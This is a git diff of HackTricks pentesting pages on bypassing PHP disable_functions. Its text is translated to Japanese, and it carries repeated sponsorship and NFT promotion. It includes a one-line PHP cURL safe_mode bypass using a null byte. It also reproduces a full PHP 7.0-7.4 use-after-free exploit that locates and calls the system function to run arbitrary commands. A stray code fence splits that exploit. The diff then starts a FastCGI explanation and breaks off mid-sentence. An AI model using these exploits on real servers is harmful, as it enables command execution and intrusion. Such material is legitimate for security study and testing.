☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# PHP 5.2.4 and 5.2.5 PHP cURL - -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +# PHP 5.2.4および5.2.5 PHP cURL +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```text source: http://www.securityfocus.com/bid/27413/info - + PHP cURL is prone to a 'safe mode' security-bypass vulnerability. - + Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks. - -The issue affects PHP 5.2.5 and 5.2.4. - + +The issue affects PHP 5.2.5 and 5.2.4. + var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__))); ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md index 8c319650e..38ceb0096 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md @@ -1,28 +1,27 @@ -# disable\_functions bypass - PHP 7.0-7.4 (\*nix only) +# disable\_functionsバイパス - PHP 7.0-7.4 (\*nixのみ)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## PHP 7.0-7.4 (\*nix only) - -From [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) +## PHP 7.0-7.4 (\*nixのみ) +[https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)から ```php a); - $backtrace = (new Exception)->getTrace(); # ;) - if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 - $backtrace = debug_backtrace(); - } - } - } +class Vuln { +public $a; +public function __destruct() { +global $backtrace; +unset($this->a); +$backtrace = (new Exception)->getTrace(); # ;) +if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 +$backtrace = debug_backtrace(); +} +} +} - class Helper { - public $a, $b, $c, $d; - } +class Helper { +public $a, $b, $c, $d; +} - function str2ptr(&$str, $p = 0, $s = 8) { - $address = 0; - for($j = $s-1; $j >= 0; $j--) { - $address <<= 8; - $address |= ord($str[$p+$j]); - } - return $address; - } +function str2ptr(&$str, $p = 0, $s = 8) { +$address = 0; +for($j = $s-1; $j >= 0; $j--) { +$address <<= 8; +$address |= ord($str[$p+$j]); +} +return $address; +} - function ptr2str($ptr, $m = 8) { - $out = ""; - for ($i=0; $i < $m; $i++) { - $out .= chr($ptr & 0xff); - $ptr >>= 8; - } - return $out; - } +function ptr2str($ptr, $m = 8) { +$out = ""; +for ($i=0; $i < $m; $i++) { +$out .= chr($ptr & 0xff); +$ptr >>= 8; +} +return $out; +} - function write(&$str, $p, $v, $n = 8) { - $i = 0; - for($i = 0; $i < $n; $i++) { - $str[$p + $i] = chr($v & 0xff); - $v >>= 8; - } - } +function write(&$str, $p, $v, $n = 8) { +$i = 0; +for($i = 0; $i < $n; $i++) { +$str[$p + $i] = chr($v & 0xff); +$v >>= 8; +} +} - function leak($addr, $p = 0, $s = 8) { - global $abc, $helper; - write($abc, 0x68, $addr + $p - 0x10); - $leak = strlen($helper->a); - if($s != 8) { $leak %= 2 << ($s * 8) - 1; } - return $leak; - } +function leak($addr, $p = 0, $s = 8) { +global $abc, $helper; +write($abc, 0x68, $addr + $p - 0x10); +$leak = strlen($helper->a); +if($s != 8) { $leak %= 2 << ($s * 8) - 1; } +return $leak; +} - function parse_elf($base) { - $e_type = leak($base, 0x10, 2); +function parse_elf($base) { +$e_type = leak($base, 0x10, 2); - $e_phoff = leak($base, 0x20); - $e_phentsize = leak($base, 0x36, 2); - $e_phnum = leak($base, 0x38, 2); +$e_phoff = leak($base, 0x20); +$e_phentsize = leak($base, 0x36, 2); +$e_phnum = leak($base, 0x38, 2); - for($i = 0; $i < $e_phnum; $i++) { - $header = $base + $e_phoff + $i * $e_phentsize; - $p_type = leak($header, 0, 4); - $p_flags = leak($header, 4, 4); - $p_vaddr = leak($header, 0x10); - $p_memsz = leak($header, 0x28); +for($i = 0; $i < $e_phnum; $i++) { +$header = $base + $e_phoff + $i * $e_phentsize; +$p_type = leak($header, 0, 4); +$p_flags = leak($header, 4, 4); +$p_vaddr = leak($header, 0x10); +$p_memsz = leak($header, 0x28); - if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write - # handle pie - $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; - $data_size = $p_memsz; - } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec - $text_size = $p_memsz; - } - } +if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write +# handle pie +$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; +$data_size = $p_memsz; +} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec +$text_size = $p_memsz; +} +} - if(!$data_addr || !$text_size || !$data_size) - return false; +if(!$data_addr || !$text_size || !$data_size) +return false; - return [$data_addr, $text_size, $data_size]; - } +return [$data_addr, $text_size, $data_size]; +} - function get_basic_funcs($base, $elf) { - list($data_addr, $text_size, $data_size) = $elf; - for($i = 0; $i < $data_size / 8; $i++) { - $leak = leak($data_addr, $i * 8); - if($leak - $base > 0 && $leak - $base < $data_addr - $base) { - $deref = leak($leak); - # 'constant' constant check - if($deref != 0x746e6174736e6f63) - continue; - } else continue; +function get_basic_funcs($base, $elf) { +list($data_addr, $text_size, $data_size) = $elf; +for($i = 0; $i < $data_size / 8; $i++) { +$leak = leak($data_addr, $i * 8); +if($leak - $base > 0 && $leak - $base < $data_addr - $base) { +$deref = leak($leak); +# 'constant' constant check +if($deref != 0x746e6174736e6f63) +continue; +} else continue; - $leak = leak($data_addr, ($i + 4) * 8); - if($leak - $base > 0 && $leak - $base < $data_addr - $base) { - $deref = leak($leak); - # 'bin2hex' constant check - if($deref != 0x786568326e6962) - continue; - } else continue; +$leak = leak($data_addr, ($i + 4) * 8); +if($leak - $base > 0 && $leak - $base < $data_addr - $base) { +$deref = leak($leak); +# 'bin2hex' constant check +if($deref != 0x786568326e6962) +continue; +} else continue; - return $data_addr + $i * 8; - } - } +return $data_addr + $i * 8; +} +} - function get_binary_base($binary_leak) { - $base = 0; - $start = $binary_leak & 0xfffffffffffff000; - for($i = 0; $i < 0x1000; $i++) { - $addr = $start - 0x1000 * $i; - $leak = leak($addr, 0, 7); - if($leak == 0x10102464c457f) { # ELF header - return $addr; - } - } - } +function get_binary_base($binary_leak) { +$base = 0; +$start = $binary_leak & 0xfffffffffffff000; +for($i = 0; $i < 0x1000; $i++) { +$addr = $start - 0x1000 * $i; +$leak = leak($addr, 0, 7); +if($leak == 0x10102464c457f) { # ELF header +return $addr; +} +} +} - function get_system($basic_funcs) { - $addr = $basic_funcs; - do { - $f_entry = leak($addr); - $f_name = leak($f_entry, 0, 6); +function get_system($basic_funcs) { +$addr = $basic_funcs; +do { +$f_entry = leak($addr); +$f_name = leak($f_entry, 0, 6); - if($f_name == 0x6d6574737973) { # system - return leak($addr + 8); - } - $addr += 0x20; - } while($f_entry != 0); - return false; - } +if($f_name == 0x6d6574737973) { # system +return leak($addr + 8); +} +$addr += 0x20; +} while($f_entry != 0); +return false; +} - function trigger_uaf($arg) { - # str_shuffle prevents opcache string interning - $arg = str_shuffle(str_repeat('A', 79)); - $vuln = new Vuln(); - $vuln->a = $arg; - } +function trigger_uaf($arg) { +# str_shuffle prevents opcache string interning +$arg = str_shuffle(str_repeat('A', 79)); +$vuln = new Vuln(); +$vuln->a = $arg; +} - if(stristr(PHP_OS, 'WIN')) { - die('This PoC is for *nix systems only.'); - } +if(stristr(PHP_OS, 'WIN')) { +die('This PoC is for *nix systems only.'); +} - $n_alloc = 10; # increase this value if UAF fails - $contiguous = []; - for($i = 0; $i < $n_alloc; $i++) - $contiguous[] = str_shuffle(str_repeat('A', 79)); +$n_alloc = 10; # increase this value if UAF fails +$contiguous = []; +for($i = 0; $i < $n_alloc; $i++) +$contiguous[] = str_shuffle(str_repeat('A', 79)); - trigger_uaf('x'); - $abc = $backtrace[1]['args'][0]; +trigger_uaf('x'); +$abc = $backtrace[1]['args'][0]; - $helper = new Helper; - $helper->b = function ($x) { }; +$helper = new Helper; +$helper->b = function ($x) { }; - if(strlen($abc) == 79 || strlen($abc) == 0) { - die("UAF failed"); - } +if(strlen($abc) == 79 || strlen($abc) == 0) { +die("UAF failed"); +} - # leaks - $closure_handlers = str2ptr($abc, 0); - $php_heap = str2ptr($abc, 0x58); - $abc_addr = $php_heap - 0xc8; +# leaks +$closure_handlers = str2ptr($abc, 0); +$php_heap = str2ptr($abc, 0x58); +$abc_addr = $php_heap - 0xc8; - # fake value - write($abc, 0x60, 2); - write($abc, 0x70, 6); +# fake value +write($abc, 0x60, 2); +write($abc, 0x70, 6); - # fake reference - write($abc, 0x10, $abc_addr + 0x60); - write($abc, 0x18, 0xa); +# fake reference +write($abc, 0x10, $abc_addr + 0x60); +write($abc, 0x18, 0xa); - $closure_obj = str2ptr($abc, 0x20); +$closure_obj = str2ptr($abc, 0x20); - $binary_leak = leak($closure_handlers, 8); - if(!($base = get_binary_base($binary_leak))) { - die("Couldn't determine binary base address"); - } +$binary_leak = leak($closure_handlers, 8); +if(!($base = get_binary_base($binary_leak))) { +die("Couldn't determine binary base address"); +} - if(!($elf = parse_elf($base))) { - die("Couldn't parse ELF header"); - } +if(!($elf = parse_elf($base))) { +die("Couldn't parse ELF header"); +} - if(!($basic_funcs = get_basic_funcs($base, $elf))) { - die("Couldn't get basic_functions address"); - } +if(!($basic_funcs = get_basic_funcs($base, $elf))) { +die("Couldn't get basic_functions address"); +} - if(!($zif_system = get_system($basic_funcs))) { - die("Couldn't get zif_system address"); - } +if(!($zif_system = get_system($basic_funcs))) { +die("Couldn't get zif_system address"); +} - # fake closure object - $fake_obj_offset = 0xd0; - for($i = 0; $i < 0x110; $i += 8) { - write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); - } +# fake closure object +$fake_obj_offset = 0xd0; +for($i = 0; $i < 0x110; $i += 8) { +write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); +} - # pwn - write($abc, 0x20, $abc_addr + $fake_obj_offset); - write($abc, 0xd0 + 0x38, 1, 4); # internal func type - write($abc, 0xd0 + 0x68, $zif_system); # internal func handler +# pwn +write($abc, 0x20, $abc_addr + $fake_obj_offset); +write($abc, 0xd0 + 0x38, 1, 4); # internal func type +```php +write($abc, 0xd0 + 0x68, $zif_system); # 内部関数ハンドラ - ($helper->b)($cmd); - exit(); +($helper->b)($cmd); +exit(); } ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index 9baa50aca..08aa1aac9 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -1,456 +1,412 @@ -# disable\_functions bypass - php-fpm/FastCGI +# disable\_functionsバイパス - php-fpm/FastCGI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
## PHP-FPM -PHP fastCGI Process Manager is an **alternative PHP FastCGI** implementation with some additional features (mostly) **useful for heavy-loaded sites**.\ -Internally, PHP-FPM is organized as a “master process” managing pools of individual “worker processes.” When the web server has a request for a PHP script, **the web server uses a proxy, FastCGI connection to forward the request to the PHP-FPM service**. The PHP-FPM service can **listen for these requests on the host server’s network ports or through Unix sockets**. Although requests pass via a proxy connection, the PHP-FPM service must run on the same server as the web server. Notably, the proxy connection for PHP-FPM is not the same as a traditional proxy connection. As PHP-FPM receives a proxied connection, a free PHP-FPM worker accepts the web server’s request. PHP-FPM then compiles and executes the PHP script, sending the output back to the web server. Once a PHP-FPM worker finishes handling a request, the system releases the worker and waits for new requests. +PHP FastCGIプロセスマネージャーは、いくつかの追加機能(主に)**高負荷サイトに役立つ**いくつかの**代替PHP FastCGI**実装です。\ +内部的には、PHP-FPMは個々の「ワーカープロセス」のプールを管理する「マスタープロセス」として組織化されています。ウェブサーバーがPHPスクリプトのリクエストを持つ場合、**ウェブサーバーはプロキシ、FastCGI接続を使用してリクエストをPHP-FPMサービスに転送**します。PHP-FPMサービスは、これらのリクエストをホストサーバーのネットワークポートまたはUnixソケットを介して受け付けることができます。リクエストはプロキシ接続を介して渡されますが、PHP-FPMサービスはウェブサーバーと同じサーバー上で実行する必要があります。特に、PHP-FPMのプロキシ接続は従来のプロキシ接続とは異なります。PHP-FPMはプロキシ接続を受け取ると、空きのPHP-FPMワーカーがウェブサーバーのリクエストを受け入れます。PHP-FPMはその後、PHPスクリプトをコンパイルして実行し、出力をウェブサーバーに送信します。PHP-FPMワーカーがリクエストの処理を終了すると、システムはワーカーを解放し、新しいリクエストを待機します。 -## But what is CGI and FastCGI? +## しかし、CGIとFastCGIとは何ですか? ### CGI -Normally web pages, files and all of the documents which are transferred from the web server to the browser are stored in a specific public directory such as home/user/public\_html. **When the browser requests certain content, the server checks this directory and sends the required file to the browse**r. +通常、ウェブページ、ファイル、およびブラウザに転送されるすべてのドキュメントは、home/user/public\_htmlなどの特定のパブリックディレクトリに保存されます。**ブラウザが特定のコンテンツを要求すると、サーバーはこのディレクトリをチェックし、必要なファイルをブラウザに送信します**。 -If **CGI** is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public\_html/cgi-bin. CGI scripts are stored in this directory. **Each file in the directory is treated as an executable program**. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. **After the input data processing is completed, the application sends the output data** to the web server which forwards the data to the HTTP client. +サーバーに**CGI**がインストールされている場合、特定のcgi-binディレクトリも追加されます。たとえば、home/user/public\_html/cgi-binです。CGIスクリプトはこのディレクトリに保存されます。**ディレクトリ内の各ファイルは実行可能なプログラムとして扱われます**。ディレクトリからスクリプトにアクセスすると、サーバーはファイルの内容をブラウザに送信する代わりに、このスクリプトに対応するアプリケーションにリクエストを送信します。**入力データの処理が完了すると、アプリケーションは出力データを**ウェブサーバーに送信し、ウェブサーバーはデータをHTTPクライアントに転送します。 -For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/\*\*cgi-bin/file.pl\*\*) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) +たとえば、CGIスクリプト[http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/\*\*cgi-bin/file.pl\*\*)にアクセスすると、サーバーはCGIを介して適切なPerlアプリケーションを実行します。スクリプトの実行から生成されたデータは、アプリケーションによってウェブサーバーに送信されます。一方、サーバーはデータをブラウザに転送します。サーバーにCGIがない場合、ブラウザは**.pl**ファイルのコードそのものを表示します。([ここからの説明](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) ### FastCGI -[FastCGI](https://en.wikipedia.org/wiki/FastCGI) is a newer web technology, an improved [CGI](http://en.wikipedia.org/wiki/Common\_Gateway\_Interface) version as the main functionality remains the same. +[FastCGI](https://en.wikipedia.org/wiki/FastCGI)は、新しいウェブ技術であり、主な機能は[CGI](http://en.wikipedia.org/wiki/Common\_Gateway\_Interface)の改良版です。 -The need to develop FastCGI is that Web was arisen by applications' rapid development and complexity, as well to address the scalability shortcomings of CGI technology. To meet those requirements [Open Market](http://en.wikipedia.org/wiki/Open\_Market) introduced **FastCGI – a high performance version of the CGI technology with enhanced capabilities.** +FastCGIを開発する必要があったのは、アプリケーションの急速な開発と複雑さによってWebが生じ、また、CGI技術のスケーラビリティの欠点を解消するためです。これらの要件を満たすために、[Open Market](http://en.wikipedia.org/wiki/Open\_Market)は**高性能なCGI技術の改良版であるFastCGIを導入しました。** -## disable\_functions bypass +## disable\_functionsバイパス -It's possible to run PHP code abusing the FastCGI and avoiding the `disable_functions` limitations. +FastCGIを悪用してPHPコードを実行し、`disable_functions`の制限を回避することができます。 -### Via Gopherus +### Gopherusを使用した方法 {% hint style="danger" %} -I'm not sure if this is working in modern versions because I tried once and it didn't execute anything. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** +現代のバージョンでこれが機能しているかどうかはわかりません。一度試してみましたが、何も実行されませんでした。もし詳細な情報を持っている場合は、[**PEASS&HackTricks telegramグループ**]([**https://t.me/peass**](https://t.me/peass))またはTwitterの[**@carlospolopm**]([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))までお問い合わせください**。** {% endhint %} -Using [Gopherus](https://github.com/tarunkant/Gopherus) you can generate a payload to send to the FastCGI listener and execute arbitrary commands: +[Gopherus](https://github.com/tarunkant/Gopherus)を使用すると、FastCGIリスナーに送信するペイロードを生成し、任意のコマンドを実行できます: ![](<../../../../.gitbook/assets/image (351).png>) - -Then, you can grab the urlencoded payload and decode it and transform to base64, \[**using this recipe of cyberchef for 